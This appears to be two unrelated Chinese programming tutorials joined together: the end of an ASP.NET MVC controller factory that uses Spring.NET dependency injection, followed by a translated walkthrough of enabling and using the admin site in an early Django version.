        /// <param name="context"></param>
        /// <param name="controllerType"></param>
        /// <returns></returns>
        public IController CreateController(RequestContext context, string name)
        {           
            if (File.Exists(ParameterFactory.CfgControllersFilePath))
            {
                //配置上下文
                IApplicationContext configContext = new XmlApplicationContext(
                    ParameterFactory.CfgFilePath,
                    ParameterFactory.CfgBusinessFilePath,
                    ParameterFactory.CfgControllersFilePath);                
                //首字母大写的控制器名字
                string controllName = GetFirstUpcaseName(name) + "Controller";
                //返回对应的对象:IOC
                return (IController)configContext.GetObject(controllName);
            }
            else
            {
                IControllerFactory fa = ControllerBuilder.Current.GetControllerFactory();
                return fa.CreateController(context, name);
            }            
        }
        public void DisposeController(IController controller)
        {            
        }
        //首字母大写
        private string GetFirstUpcaseName(string name)
        {
            string temp = name.Replace(".mvc","").ToLower(); //.net 2.0下的情况
            string first = temp[0].ToString();
            return temp.Replace(first, first.ToUpper());
        }
    }
}

◆这里需要说明的是ParameterFactory：一个静态参数工厂。它将当前站点的SERVER端物理目录存在static string类型的变量中，此处用到的三个变量CfgFilePath、CfgBusinessFilePath、 CfgControllersFilePath，分别为三个spring.net xml配置文件所在的物理路径。
显然，当Views/User/Home.aspx发出请求时，它会在/config/controllers.xml 中找到UserController控制器，并不算完——UserController请求注入UserMainDaoSpring对象，它又会在 /config/business.xml中找到这个对象的定义。完了吗？那得看UserMainDaoSpring是否也有注入别的对象了。
这种情况会乱吗？一点也不，即使你不用spring.net 整合它们，也一样会用到这些对象，只是使用的流程会有一些不同罢了。那么，在这个工厂中，只要捋清楚，你会用到哪些配置就行了（对这些配置xml文件，还 是按用途分类比较好，如页面一个，访问层一个，web services一个……然后，去管理它们！）。

启用管理员功能
Django的管理员功能默认是不启用的——这是一个可选项。想要为你的程序启用管理员功能，需要做这三样事情：
　　1.在INSTALLED_APPS设置中添加"django.contrib.admin"。

　　2.运行python manage.py syncdb。当你添加一个新的应用程序到INSTALLED_APPS时，数据库的表需要手动更新。

　　3.编辑文件mysite/urls.py，取消注释"Uncomment the next two lines…"下的那些行注释。这个文件是一个URL映射。

最后，你的urls.py文件应该像下面的那样：

from django.conf.urls.defaults import *
# Uncomment the next two lines to enable the admin:
from django.contrib import admin
admin.autodiscover()
urlpatterns = patterns('',
# Example:
    # (r'^mysite/', include('mysite.foo.urls')),

# Uncomment the admin/doc line below and add 'django.contrib.admindocs'
    # to INSTALLED_APPS to enable admin documentation:
    # (r'^admin/doc/', include('django.contrib.admindocs.urls')),

# Uncomment the next line to enable the admin:
    (r'^admin/(.*)', admin.site.root),
)

启动开发版服务器
让我们启动开发版服务器并浏览管理员页面。

　　python manage.py runserver

现在，打开浏览器，在你的本地域中进入"/admin/"——如，htt://127.0.0.1:8000/admin/。你将会看到管理员的登录界面：

进入管理员页面

现在，尝试登录一下。（你在前面的教程中已经创建了超级用户帐号，还记得吗？）你将会看到管理员首页：

你会看到一些可编辑的内容，包括组，用户和站点。这些都是Django默认的核心特性。

使poll app在管理员站点中可修改

但我们的poll app在哪里呢？它没有在管理员站点首页出现。

只要做一点点的工作就行了：我们需要告诉admin，Poll对象有一个admin接口。

要做用这点，在你的polls文件夹中创建一个文件admin.py，然后把它编辑成这样：

Code
from mysite.polls.models import Poll
from django.contrib import admin
admin.site.register(Poll)

你需要重新启动开发版服务器才能看到你的变化。通常的，这个服务器会在你修改文件后自动重启，但新那一个文件并不会触发它的重启逻辑。

浏览免费的管理功能

现在，我们已经注册了Poll，Django知道了要把它显示在管理员站点的首页上：

单击"Polls"进入polls的"change list"页面。这个页面显示数据库中所有的polls，让我们选择其中一个然后修改它吧。

这里有一个我们在先前的教程中创建的"What's up?" poll：

单击"What's up?" poll然后编辑它：

注意这些东西：

　　1.这个表单是根据Poll模型自动生成的。

　　2.不现的模型域类型（DateTimeField, CharField）转换成适当的HTML input控件。每种域类型都知道怎样显示在Django的管理员站点中。

　　3.每个DateTimeField都会获得一个免费的JavaScript图标。日期是"Today"和一个日历控件，时间是"now"和一个方便的包含有常用的时间值的弹出框。

页面下面的按钮是一些选项：

　　1.Save——保存更改并返回列出这个对象类型被更改的部分的页面。

　　2.Save and continue editing——保存更改并重新加载这些对象的管理员页面。

　　3.Save and add another——保存更改并加载这个对象类型的新的空表单。

　　4.Delete——显示一个删除确认页面。

通过单击"Today"和"Now"的快捷图标来更改"Date published"的值。单击"Save and continue editing"，然后单击右上角的"History"。

你将看到一个页面，它列出了你通过Django管理功能所做的所有更改，包括时间和更改人的用户名：